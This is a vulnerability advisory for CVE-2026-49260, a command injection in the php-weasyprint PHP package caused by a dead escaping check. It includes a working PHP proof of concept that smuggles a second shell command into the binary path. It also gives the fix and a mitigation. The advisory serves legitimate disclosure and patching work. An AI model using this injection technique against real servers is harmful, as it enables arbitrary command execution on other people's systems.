high · 8.2CVE-2026-49260Jun 26, 2026

CVE-2026-49260: php-weasyprint OS Command Injection via Binary Path

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A logic error in php-weasyprint's command builder means the safety check that should quote and validate the WeasyPrint binary path is permanently bypassed, letting any shell metacharacters in that…

Packagepontedilana/php-weasyprint
Ecosystemcomposer
Affected<= 2.5.0
Fixed in2.5.1

The problem

In AbstractGenerator::buildCommand() and the Pdf override, the code calls escapeshellarg($binary) and then passes the result to is_executable(). On POSIX, escapeshellarg wraps the string in literal single-quote characters, so is_executable looks for a file whose name includes those quotes.

That file never exists.

Because the guard always fails, the ternary falls through to $binary raw and unescaped. That string then reaches Symfony\Component\Process\Process::fromShellCommandline(), which hands it to /bin/sh -c. Any deployment where the binary path comes from config, an environment variable, or a per-tenant setting is a command injection sink.

Proof of concept

A working proof-of-concept for CVE-2026-49260 in pontedilana/php-weasyprint, with the exact payload below.

php
<?php
require __DIR__ . '/vendor/autoload.php';
use Pontedilana\PhpWeasyPrint\Pdf;

// Attacker-controlled binary string (e.g. read from config / env / tenant row)
$binaryString = 'weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_marker; #';

$pdf = new Pdf($binaryString);
$pdf->setTimeout(5);

try {
    $pdf->generate('about:blank', '/tmp/poc_out.pdf', [], true);
} catch (Throwable $e) {
    // WeasyPrint binary call fails but the injected touch already ran
}

if (file_exists('/tmp/php_weasyprint_rce_marker')) {
    echo "RCE MARKER PRESENT — injection landed.\n";
} else {
    echo "RCE marker absent — injection did NOT land.\n";
}

The inverted guard (is_executable(escapeshellarg($binary))) is permanently dead code. escapeshellarg produces 'weasyprint ...; touch ...; #' and no file by that quoted name exists on disk, so the check always returns false and $command is built with the raw $binary value.

The trailing # in the injected string comments out the options and output path that buildCommand appends, keeping the shell line syntactically valid. The patch (commit 9e86a2b) rewrites execution to use new Process([...]) with an argument array instead of fromShellCommandline, so the shell is never involved and metacharacters are never interpreted.

CWE-78.

This is the same logic error KnpLabs patched in snappy 1.7.1 (GHSA-vpr4-p6fq-85jc). The vulnerable buildCommand was copied verbatim from that codebase and never updated.

The fix

Upgrade to pontedilana/php-weasyprint 2.5.1. The patch commit 9e86a2b317237fc5728f712f5037164530117f7e replaces Process::fromShellCommandline() with a direct Process array constructor, eliminating shell interpretation entirely. If an immediate upgrade is blocked, ensure the binary path is a hard-coded constant in deployed code and cannot be influenced by config, environment, or user input.

Reported by tonghuaroot.

References: [1][2][3][4][5][6]

Related research